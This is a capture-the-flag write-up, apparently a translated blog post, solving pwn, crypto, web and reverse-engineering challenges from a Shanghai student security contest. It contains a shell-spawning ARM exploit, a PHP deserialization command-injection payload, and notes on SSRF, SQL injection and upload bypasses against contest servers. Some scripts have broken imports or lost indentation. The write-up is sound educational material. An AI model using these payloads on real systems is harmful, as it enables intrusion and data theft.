Solution to Problems of Shanghai College Students Network Security Contest

I took advantage of the weekend to play in the Shanghai College Students Network Security Contest, and finally finished third. This time Misc is really difficult, except for signing in. I can't do anything... A wave of Fudan masters. During the game, I played Crypto and part of the Web, and I also posted some wp of my teammates here.

Misc

check in

Direct base32 decoding.

pwn

baby_arm

arm architecture, the core idea is to change the parameters of the mprotect function to make the bss section executable.

Exp is as follows:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import us
context.arch = 'aarch64'

p = remote('106.75.126.171', 33865)

start = p64(0x4007D8)+asm(shellcraft.aarch64.linux.sh())


p.sendafter('Name:', start.ljust(512, '\x00'))
padding='a'*0x48
pop=0x4008CC
lea=0x4008ac
bss= 0x411068
payload = flat(padding, pop, 0, lea, 0, 1, bss, 7, 0x1000, 0, p64(0x411070)*0x100)

p.send(payload)

p.interactive()

Crypto

rsaaaaa

There are two points in this question. The first point is that m and c are given in RSA, and d and n are provided. The public and private keys randomly generated by the script here are basically impossible to obtain directly. We see that the server script only judges an equation:

As long as it is satisfied  pow(c,D,N) == m , we can choose a d by ourselves, and then make  n=pow(c,d)-m it.

The second point is the following code:

Here we are given a chance to decrypt, but we are not allowed to decrypt the plaintext. This test point has been published in suctf before. The idea is to let the server decrypt (c*pow(2,e,n))%n , so that the plaintext obtained is  2*mdivided by 2.

The script is as follows: (written with socket, ugly)

# -*- coding: utf-8 -*-
from hashlib import sha512
import socket
import string
import re
from Crypto.Util.number import *
from Crypto.Cipher import AES
HOST='106.75.101.197'
PORT=7544
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
def brute_force(pad, shavalue):
    dict = string.letters + string.digits
    key = ""
    for i1 in dict:
        tmp = key
        key1 = tmp + i1
        for i2 in dict:
            tmp = key1
            key2 = tmp + i2
            for i3 in dict:
                tmp = key2
                key3 = tmp + i3
                for i4 in dict:
                    tmp = key3
                    key4 = tmp + i4
                    final_key = key4
                    if sha512(pad+key4).hexdigest()==shavalue:
                        print key4
                        return key4
content = sock.recv(1024).strip()
print content
pad=content[20+7:20+7+16]
hash=content[20+33:]
print pad
print hash
sock.recv(1024).strip()
sock.send(str(brute_force(pad,hash))+"\n")
print sock.recv(1024).strip()
content=sock.recv(1024).strip()
print content
m=int(re.findall(":(.+?)\nand",content)[0],16)
c=int(re.findall("ciphertext:0x(.+)",content)[0],16)
d=97
n=pow(c,d)-m
print n
print sock.recv(1024).strip()
sock.send(str(n)+"\n")
print sock.recv(1024).strip()
sock.send(str(d)+"\n")
print sock.recv(1024).strip()
msg1 = hex(m)[2:-1].decode('hex')
content=sock.recv(1024).strip()
print content
n=int(re.findall("n=(.+?)\n",content)[0],16)
e=int(re.findall("e=(.+?)\n",content)[0],16)
c=re.findall("c=(.+)",content)[0]
c=c+sock.recv(1024).strip()
c=int(c,16)
print c
print sock.recv(1024).strip()
sock.send(str((c*pow(2,e,n))%n)+"\n")
content=sock.recv(1024).strip()
print content
m=int(re.findall("message:0x(.+)",content)[0],16)
sock.recv(1024).strip()
msg2 = hex(m/2)[2:-1].decode('hex')
sock.send(str(m/2)+"\n")
print sock.recv(1024).strip()
content=sock.recv(1024).strip()
flag=re.findall("flag:0x(.+)",content)[0]
flag=flag.decode("hex")
cipher = AES.new(msg2, AES.MODE_CBC, msg1)
print cipher.decrypt(flag)

I encountered a pitfall in this question with the socket, that is, when receiving n, e, c from the server, the server sent a hexadecimal number with a length of about 29 after receiving c. At first, I didn’t know what it was What, it turned out that the script couldn't live and die, and the result sent was wrong.

I was stuck for a long time, and then found that the number of digits in c seems to be a bit small, and then I realized that the hexadecimal system was originally the latter part of c... I don’t know why it was sent in two steps when it was sent to me, so I have this paragraph code:

c=re.findall("c=(.+)",content)[0]
c=c+sock.recv(1024).strip()
c=int(c,16)

at last:

flag{ec35162f-94b3-47e4-8d2c-6da6bba0391f}

aessss

The problem with this topic is padding. Since padding is required for less than 256 bits, the bytes of padding are the number of missing bytes. However, if the plaintext is enough for 256 bytes, padding will not be performed according to the code:

def pad(self, s):
        s += (256 - len(s)) * chr(256 - len(s))
        ret = ['\x00' for _ in range(256)]
        for index, pos in enumerate(self.s_box):
            ret[pos] = s[index]
        return ''.join(ret)

The biggest problem lies in unpad, unpad does not check, and only judges the number of filled bytes by the last byte.

def unpad(self, s):
        ret = ['\x00' for _ in range(256)]
        for index, pos in enumerate(self.invs_box):
            ret[pos] = s[index]
        return ''.join(ret[0:-ord(ret[-1])])

Moreover, the server provides the function of encrypting the current flag and appending information to the current flag. Our idea of ​​using it is as follows:

  1. Select choice2, append  256-33 =223bytes, so that the current flag does not need to be filled, and the last byte appended is set tochr(256-32=224)
  2. The server appends our information to the flag, replaces the s box, and assigns the result to the flag variable in the class.
  3. We choose choice2 again. Here, because we need to add, the server will take out the flag variable in the class for inverse S-box replacement and unpad, so that according to this unpad algorithm, all the following 224 bytes will be removed as padding, and the plaintext will be left with real The first 32 bits of flag
  4. We enter a character i at this time, then the object of encryption at this time isflag[:32]+i
  5. Choose choice1 to encrypt the current flag, control i to blast, if the obtained ciphertext is the same as the ciphertext encrypted by the original flag, you will get the last byte of the flag
  6. Blast byte by byte until all flags are obtained.

The problem-solving script is as follows:

# -*- coding: utf-8 -*-
from hashlib import sha256
import socket
import string
HOST='106.75.13.64'
PORT=54321
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
def brute_force(pad, shavalue):
    dict = string.letters + string.digits
    key = ""
    for i1 in dict:
        tmp = key
        key1 = tmp + i1
        for i2 in dict:
            tmp = key1
            key2 = tmp + i2
            for i3 in dict:
                tmp = key2
                key3 = tmp + i3
                for i4 in dict:
                    tmp = key3
                    key4 = tmp + i4
                    final_key = key4
                    if sha256(key4+pad).hexdigest()==shavalue:
                        print key4
                        return key4
def choice1():
    sock.send("1\n")
    result=sock.recv(1024).strip()[30:]
    sock.recv(1024).strip()
    return result
def choice2(pad):
    sock.send("2\n")
    sock.recv(1024).strip()
    sock.send(pad+"\n")
    sock.recv(1024).strip()
    sock.recv(1024).strip()
def choice3(str):
    sock.send("3\n")
    sock.recv(1024).strip()
    sock.send(str+"\n")
    result=sock.recv(1024).strip()[33:]
    sock.recv(1024).strip()
    return result
content = sock.recv(1024).strip()
pad=content[12:12+16]
hash=content[33:33+64]
sock.recv(1024).strip()
sock.send(str(brute_force(pad,hash))+"\n")
print sock.recv(1024).strip()
flag_enc=choice1()
flag=""
for i in range(33):
    a = ''.join(['a' for _ in range(223)])
    a = a[:-1] + chr(224+i)
    for c in string.printable:
        print c+flag
        choice2(a)
        choice2(c+flag)
        if choice1() == flag_enc:
            flag=c+flag
            print "success:",flag
            break

Blast until the last byte collapses. . . It should be that all the flags have been removed, but you can guess the flag

flag{H4ve_fun_w1th_p4d_and_unp4d}

Web

what are you doing?

Prompt to see robots.txt, found source.php and flag.php.

Visit source.php, prompt the administrator to log in, change the package to use x-client-ip to bypass, and prompt to post admin and url parameters.

After url is put into the URL, a path is obtained, and the access should be the source code.

The guess is SSRF, using the file protocol to read the flag:

Access to get flag.

Can you hack me?

There is source code leakage, index.php.swp, restored with vim:

<?php
error_reporting(0);
class come{    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }           
    function echo($host){
        system("echo $host");
    }
    function __destruct(){
        if (in_array($this->method, array("echo"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

}

$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
        if($i===1)
        {
            $i++;
            $$key = $value;
        }
        else{break;}
}
if($first==="doller")
{
    @parse_str($_GET['a']);
if($var==='give'){
    if($bbb==='me'){
        if($ccc==='flag'){
            echo "<br>welcome</br>";
            $come=@$_POST['come'];
            unserialize($come);
        }
    }
    else{
        echo "<br>think about it</br>";
    }
}
else{
    echo "no";
}
}
else{
    echo "can you hack me?";
}
?>

Obvious deserialization, the callback function calls the system of the echo function, there is waf, the flag filter is bypassed by double writing, and the backquote is not filtered

payload:

come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:30:"`nl${IFS}../../../../flaflagg`";}}

GOOD JOB

<?php
    //error_reporting(0);
    //$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
    $dir=md5("icq");
    $sandbox = '/var/sandbox/' . $dir;
    @mkdir($sandbox);
    @chdir($sandbox);

    if($_FILES['file']['name']){
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        if($ext==$filename[count($filename) - 1]){
            die("emmmm...");
        }
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hehe'];
        if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
            include($_);
        }
        unlink($new_name);
    }
    else{
        highlight_file(__FILE__);
    }

Code audit, I saw the innermost include and thought it was an upgraded version of the one-line-challenge of this year's HITCON, but I got stuck at the first step...

The first step is the upload question of Wangding Cup, and learned a wave of bypassing with arrays.

After that, the file name contains a random number and is directly blasted. There is an unlike use  /. bypass.

The organizer directly shut down the platform... It's too cruel, and I want to repeat it, so I can only look at the wp of the masters.

Web4

The first is sql injection, first classic ' or 1# 和 'or 0# , and then run a wave with sqlmap, level5 is useless.

Paste the payload of the blind injection into the url of sqlmap, and sqlmap will directly inject the administrator password:

Decryption, the password is adminpassword, I went in and found that it was a file upload, and it kept showing that uploaded to ./***.txt please upload to ./flag.php the access file was not found, and I always wanted to getshell stuck here.

After the game , I saw the solution of the master’s question and found that my thinking was too rigid... This question only needs to be uploaded to flag.php to get the  flag%02  . I've heard...), I'm too good at it.

Reverse

CPP

The two key functions, the first sub_40111A simple XOR and shift, so the inverse algorithm is to first XOR the array bit by bit, and then shift the array to the left by six bits | shift the array to the right by two bits. The second Sub_401332 reviewed discrete mathematics. After various logical operations, it is actually equivalent to XOR in the end. Adjacent numbers are XORed and then a total of four rounds.

The script is as follows:

flag1=''
num1=[0x99, 0xB0, 0x87, 0x9E, 0x70, 0xE8,
      0x41, 0x44, 0x05, 0x04, 0x8B, 0x9A,
      0x74, 0xBC, 0x55, 0x58, 0xB5, 0x61,
      0x8E, 0x36, 0xAC, 0x09, 0x59, 0xE5,
      0x61, 0xDD, 0x3E, 0x3F, 0xB9, 0x15,
      0xED, 0xD5]
for i in range(4):
    for j in range(len(num1)-1,0,-1):
        num1[j]=num1[j-1]^num1[j]
for i in range(len(num1)):
    flag1+=chr((num1[i]^i)>>2|(((num1[i]^i)<<6)&0xff))
print flag1
#flag{W0w_y0u_m4st3r_C_p1us_p1us}

What is it

Blast md5 first:

import itertools
import string
from hashlib import md5

def crackMd5():
product = itertools.permutations(string.letters[:26],6)
for test in product:
md5_test = md5("".join(test)).hexdigest()
print "".join(test)
var1 = 0
var2 = 0
for i in range(len(md5_test)):
if md5_test[i]=='0':
var1 += 1
var2 += i
if 10*var1 + var2 == 0x193:
print "ans : "
print "".join(test)
print md5_test
return
print "failed!"

crackMd5()

ozulmt This is the string that ran out, and then the dynamic debugging can directly see the flag in the memory, but the format needs to be added, just add it according to checkht.

flag{a197b847-7092-53a4-7c41-bc7d6d52e69d}

Cyvm

The virtual machine is reversed, and Angr runs directly.

import reg
import claripy


p = angr.Project('cyvm')

flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(32)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])
st = p.factory.blank_state(addr=0x400CB1,stdin=flag)
for k in flag_chars:
    st.solver.add(k >= 32)
    st.solver.add(k <= 126)

st.solver.add(flag_chars[0] == 'f')
st.solver.add(flag_chars[1] == 'l')
st.solver.add(flag_chars[2] == 'a')
st.solver.add(flag_chars[3] == 'g')
st.solver.add(flag_chars[4] == '{')


sm = p.factory.simulation_manager(st)
sm.explore(find=0x400CD2)

found = sm.found[0]
solution = found.solver.eval(flag, cast_to=str)
print solution

flag{7h15_15_MY_f1rs7_s1mpl3_Vm}

Summarize

The Web feels a little brainy, and the Crypto questions have to be scripted, and the socket is a bit difficult to use, so I have to switch to pwntools....

Brother Dai is the one who makes Misc.

Guess you like

Origin blog.csdn.net/weixin_55436205/article/details/130693235